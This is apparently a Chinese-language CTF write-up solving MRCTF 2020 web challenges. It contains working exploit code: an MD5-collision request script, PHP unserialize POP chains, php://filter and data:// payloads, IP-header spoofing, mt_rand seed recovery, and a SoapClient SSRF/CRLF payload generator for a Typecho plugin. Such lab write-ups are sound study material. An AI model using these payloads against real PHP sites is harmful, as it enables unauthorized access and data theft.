2020-MRCTF
ez_bypass
I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } }Please input first
哈希碰撞,弱类型
import requests from urllib.parse import quote url='http://3b2f75e7-7fba-46c4-a68d-9eca2f54fa30.merak-ctf.site/' with open(r'C:\Users\dell\Desktop\md5碰撞\out_test_001.txt','rb') as f: data1=f.read() data1=quote(data1,'utf-8') with open(r'C:\Users\dell\Desktop\md5碰撞\out_test_000.txt','rb') as f: data2 = f.read() data2=quote(data2,'utf-8') get='?id='+data1+'&gg='+data2 data={'passwd':'1234567admin'} r = requests.post(url+get,data=data) print(r.text)
你传你🐎呢
带恶人
对不起,这道题我做了一个小时。我硬是看nginx,硬是传.user.ini。
然后发现。。不对啊,目录下有没有php文件。不能利用啊。
CTFd平台,平台是nginx,为了快速访问和处理请求。所以wappalyzer判断都是nginx的。题目环境不一定是。然后传了.htaccess就成了
当场去世
题目设置了disable_functions,但是没有open_basedir
readfile('/flag')
PYwebsite
有点没看懂操作,前端验证授权码
flag.php这个页面的一句话,我已经把购买者的IP保存了。说明是通过IP来判断的?我一开始以为是client_IP或者X-Forwarded-For注入之类的。
只要127.0.0.1即可
Ezpop
<?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
POP链
Show->preg_match->__toString()->Test->_get->Modifier->__invoke->append()
跟BJD那道我出的题其实都是源自一个,本来也想出这样的,但是新生赛还是调低了难度。
exp
<?php class Show{ public $source; public $str; public function __construct(){ $this->str=new Test(); $this->str->p=new Modifier(); } } class Test{ public $p; } class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; } $a=new Show(); $a->source=new Show(); echo serialize($a);
套娃
之前没空,出于强迫症,写了一些题目作为草稿存着也是难受,直接全部写完把。下面的题目都是在BUU复现。还有bjd 2nd还没写完。同样的情况。难受。
$query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; }
这里运用到了php字符串解析特性bypass
payload:
b%20u%20p%20t=23333%0A
提示flag在secrettw.php
本来想测试下Clien-IP,X-Forwarded-For的,但是发现了jsfuck编码
解码获得
post me Merak
post传后获得源码
<?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
Client-IP可以获得ip,data://伪协议读入todat is a happy day 最后还需要一个解密
对应写一个unchange函数加密
paload:
http://029d7f20-bd6e-45d7-8bfb-eb136806e4e9.node3.buuoj.cn/secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI= headers: Client-Ip:127.0.0.1
Ezaudit
想这种用框架搭的,前端很好看的CTF题目,一般最好扫一下,很多都是源码泄露,代码审计类型,看题目也像。
都是429,那就不是源码泄露了。
但是页面上什么东西都点不动啊,手痒试了下www.zip,返回了源码
只有一个index.php
<?php header('Content-type:text/html; charset=utf-8'); error_reporting(0); if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $Private_key = $_POST['Private_key']; if (($username == '') || ($password == '') ||($Private_key == '')) { // 若为空,视为未填写,提示错误,并3秒后返回登录界面 header('refresh:2; url=login.html'); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!"; exit; } else if($Private_key != '*************' ) { header('refresh:2; url=login.html'); echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!"; exit; } else{ if($Private_key === '************'){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; $link=mysql_connect("localhost","root","root"); mysql_select_db("test",$link); $result = mysql_query($getuser); while($row=mysql_fetch_assoc($result)){ echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>"; } } } } // genarate public_key function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } //genarate private_key function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } $Public_key = public_key(); //$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
看到两个function钟的mt_rand就应该明白是伪随机数漏洞,具体不赘述,百度即可。
exp1参考题目地址:https://blog.csdn.net/yuaneuro/article/details/103994272
exp1
#变换成php_mt_seed可以识别的数据 str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' str2 = 'KVQP0LdJKRaV3n9D' str3 = str1[::-1] res = '' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' ' break print(res)
获得种子
但是我用exp写的时候发现BNC8lyED7y8P并不对
这里看了下WP,发现是第二次,有两次生成的,private_key是第二次。
<?php mt_srand(1775196155); function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } /** * 先生成一次公钥在生成一次密钥 XuNhoueCDCGc */ function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } echo public_key(); echo "\n"; echo private_key(); ?>
获得private_key => 3NxjlpuxSI5y
发现还是错的。嗷。。我这个环境变量是7.2版本的。服务器是5.6的。
获得private_key=>XuNhoueCDCGc (PS:要细心,别心急)
获得flag
Ezpop_Revenge
Typecho的博客模板,手动www.zip获得源码。(一般框架类的经常都是www.zip源代码审计)
审计代码,没发现东西,还是太noob了。去看了下WP
#https://github.com/BuptMerak/mrctf2020-writeups/tree/master/official
#https://blog.csdn.net/a3320315/article/details/105215741/
发现点在/usr/helloworld/plugin.php中
<?php if (!defined('__TYPECHO_ROOT_DIR__')) exit; /** * Hello World * * @package HelloWorld * @author qining * @version 1.0.0 * @link http://typecho.org */ class HelloWorld_DB{ private $flag="MRCTF{this_is_a_fake_flag}"; private $coincidence; function __wakeup(){ $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']); } } class HelloWorld_Plugin implements Typecho_Plugin_Interface { /** * 激活插件方法,如果激活失败,直接抛出异常 * * @access public * @return void * @throws Typecho_Plugin_Exception */ public static function activate() { Typecho_Plugin::factory('admin/menu.php')->navBar = array('HelloWorld_Plugin', 'render'); } /** * 禁用插件方法,如果禁用失败,直接抛出异常 * * @static * @access public * @return void * @throws Typecho_Plugin_Exception */ public static function deactivate(){} /** * 获取插件配置面板 * * @access public * @param Typecho_Widget_Helper_Form $form 配置面板 * @return void */ public static function config(Typecho_Widget_Helper_Form $form) { /** 分类名称 */ $name = new Typecho_Widget_Helper_Form_Element_Text('word', NULL, 'Hello World', _t('说点什么')); $form->addInput($name); } /** * 个人用户的配置面板 * * @access public * @param Typecho_Widget_Helper_Form $form * @return void */ public static function personalConfig(Typecho_Widget_Helper_Form $form){} /** * 插件实现方法 * * @access public * @return void */ public static function render() { echo '<span class="message success">' . htmlspecialchars(Typecho_Widget::widget('Widget_Options')->plugin('HelloWorld')->word) . '</span>'; } public function execute() { //Do nothing echo '<!DOCTYPE HTML> <html class="no-js"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="renderer" content="webkit"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <title>页面没找到 - Hello World</title> <!-- 使用url函数转换相关路径 --> <link rel="stylesheet" href="http://127.0.0.1/usr/themes/default/normalize.css"> <link rel="stylesheet" href="http://127.0.0.1/usr/themes/default/grid.css"> <link rel="stylesheet" href="http://127.0.0.1/usr/themes/default/style.css"> <!--[if lt IE 9]> <script src="//cdnjscn.b0.upaiyun.com/libs/html5shiv/r29/html5.min.js"></script> <script src="//cdnjscn.b0.upaiyun.com/libs/respond.js/1.3.0/respond.min.js"></script> <![endif]--> <!-- 通过自有函数输出HTML头部信息 --> <meta name="description" content="Just So So ..." /> <meta name="keywords" content="typecho,php,blog" /> <meta name="generator" content="Typecho 1.2/18.10.23" /> <meta name="template" content="default" /> <link rel="alternate" type="application/rss+xml" title="页面没找到 » Hello World » RSS 2.0" href="http://127.0.0.1/index.php/feed/" /> <link rel="alternate" type="application/rdf+xml" title="页面没找到 » Hello World » RSS 1.0" href="http://127.0.0.1/index.php/feed/rss/" /> <link rel="alternate" type="application/atom+xml" title="页面没找到 » Hello World » ATOM 1.0" href="http://127.0.0.1/index.php/feed/atom/" /> </head> <body> <!--[if lt IE 8]> <div class="browsehappy" role="dialog">当前网页 <strong>不支持</strong> 你正在使用的浏览器. 为了正常的访问, 请 <a href="http://browsehappy.com/">升级你的浏览器</a>.</div> <![endif]--> <header id="header" class="clearfix"> <div class="container"> <div class="row"> <div class="site-name col-mb-12 col-9"> <a id="logo" href="http://127.0.0.1/">Hello World</a> <p class="description">Just So So ...</p> </div> <div class="site-search col-3 kit-hidden-tb"> <form id="search" method="post" action="http://127.0.0.1/" role="search"> <label for="s" class="sr-only">搜索关键字</label> <input type="text" id="s" name="s" class="text" placeholder="输入关键字搜索" /> <button type="submit" class="submit">搜索</button> </form> </div> <div class="col-mb-12"> <nav id="nav-menu" class="clearfix" role="navigation"> <a href="http://127.0.0.1/">首页</a> <a href="http://127.0.0.1/index.php/start-page.html" title="关于">关于</a> </nav> </div> </div><!-- end .row --> </div> </header><!-- end #header --> <div id="body"> <div class="container"> <div class="row"> <div class="col-mb-12 col-tb-8 col-tb-offset-2"> <div class="error-page"> <h2 class="post-title">404 - 页面没找到</h2> <p>你想查看的页面已被转移或删除了, 要不要搜索看看: </p> <form method="post"> <p><input type="text" name="s" class="text" autofocus /></p> <p><button type="submit" class="submit">搜索</button></p> </form> </div> </div><!-- end #content--> </div><!-- end .row --> </div> </div><!-- end #body --> <footer id="footer" role="contentinfo"> © 2020 <a href="http://127.0.0.1/">Hello World</a>. 由 <a href="http://www.typecho.org">Typecho</a> 强力驱动. </footer><!-- end #footer --> </body>'; } public function action(){ if(!isset($_SESSION)) session_start(); if(isset($_REQUEST['admin'])) var_dump($_SESSION); if (isset($_POST['C0incid3nc3'])) { if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0) unserialize(base64_decode($_POST['C0incid3nc3'])); else { echo "Not that easy."; } } } }
flag.php
<?php if(!isset($_SESSION)) session_start(); if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){ $_SESSION['flag']= "MRCTF{******}"; }else echo "我扌your problem?\nonly localhost can get flag!"; ?>
flag.php中的Remote_ADDR很好的说明了需要用ssrf去触发
在页面中还实例化了Typecho_Db的类,跟踪查看
发现有字符串拼接,并且有提示__toString()魔术方法,adapterName是我们可控的,可以赋值为类名,调用__toString()
现在全局查找下__tostring ps:我这里根据的思路是query.php,文章=>https://blog.csdn.net/a3320315/article/details/105215741/
/var/Typecho/Db/Query.php
这里有个switch case的结果,可以发现_sqlPreBuild是我们可以控制的
并且Typecho_Db::SELECT是已知的为'SELECT'。_adapter也是我们可控的
这里调用了parseSelect方法,如果是ssrf的话,我们可以通过一些原生类来触发反序列化。
这里很好的选择就是soapclient
soapclient类有一个__call的魔术方法,当调用不存在的或者不可调用的方法时触发。
具体的soapclient的利用详细可以看l3m0n师傅写的=>https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
这里直接用了HyyMbb师傅的exp
<?php class Typecho_Db_Query { private $_sqlPreBuild; private $_adapter; public function __construct() { $target = 'http://127.0.0.1/flag.php'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=504k75447innl1uvvsclu6jeu3' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'HyyMbb^^'.join('^^',$headers),'uri' => "aaab")); $this->_sqlPreBuild =array("action"=>"SELECT"); $this->_adapter = $b; } } class HelloWorld_DB { private $coincidence; public function __construct() { $this->coincidence = ["hello" => new Typecho_Db_Query()]; } } $a = new HelloWorld_DB(); $aaa = serialize($a);
这里涉及到了CRLF,可以通过\r\n来满足http请求规范,内容中注入恶意数据
文章见=>https://www.jianshu.com/p/2f2e311e797b
运行exp提示没有soapclient()这个类,这里我们需要在php.ini开启这个扩展,去掉分号
这里因为过滤了百分号,所以会被waf挡下来
这里有个知识点,学习自=>W4nder师傅https://www.cnblogs.com/W4nder/p/12596114.html#%E8%B8%A9%E5%9D%91
在 PHP5 最新的 CVS 中,
新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的:
string 型数据(字符串)新的序列化格式为:
S:"<length>":"<value>";
其中 <length> 是源字符串的长度,而非 <value> 的长度。<length> 是非负整数,数字前可以带有正号(+)。<value> 为经过转义之后的字符串。
它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 \),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 \ 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 \ 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 <value> 的内容了。
因此有两种写法:
普通的序列化小s对应的就是普通的字符串,如s:3:"%00a%00";
而序列化的大S则对应的是\加上16进制,如S:2:"\00a\00";
所以上面生成的payload还需要将%00替换成\00,string类型的s替换成S,并且base64_encode后POST上去,admin随意输入,在page_admin页面会自动调用action()方法
这里再放一下Ying师傅的操作步骤完整exp
<?php class HelloWorld_DB{ private $coincidence; public function __construct(){ $this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']); } } class Typecho_Db { public function __construct($adapterName, $prefix = 'typecho_') { $adapterName = 'Typecho_Db_Adapter_' . $adapterName; } } class Typecho_Db_Query { private $_sqlPreBuild; private $_adapter; public function __construct(){ $this->_sqlPreBuild['action']='SELECT'; $target = "http://127.0.0.1/flag.php"; $headers = array( 'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6', ); $this->_adapter=new SoapClient( null, array('location' => $target, 'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello')); } } function decorate($str) { $arr = explode(':', $str); $newstr = ''; for ($i = 0; $i < count($arr); $i++) { if (preg_match('/00/', $arr[$i])) { $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]); } } $i = 0; for (; $i < count($arr) - 1; $i++) { $newstr .= $arr[$i]; $newstr .= ":"; } $newstr .= $arr[$i]; return $newstr; } $a=serialize(new HelloWorld_DB()); $a = urlencode($a); $a = preg_replace('/%00/', '%5c%30%30', $a); $a = decorate(urldecode($a)); echo base64_encode($a);
其实不需要%和s的问题,w4nder博客里提到,base64解码后,其实也是乱码,并不会检测到%。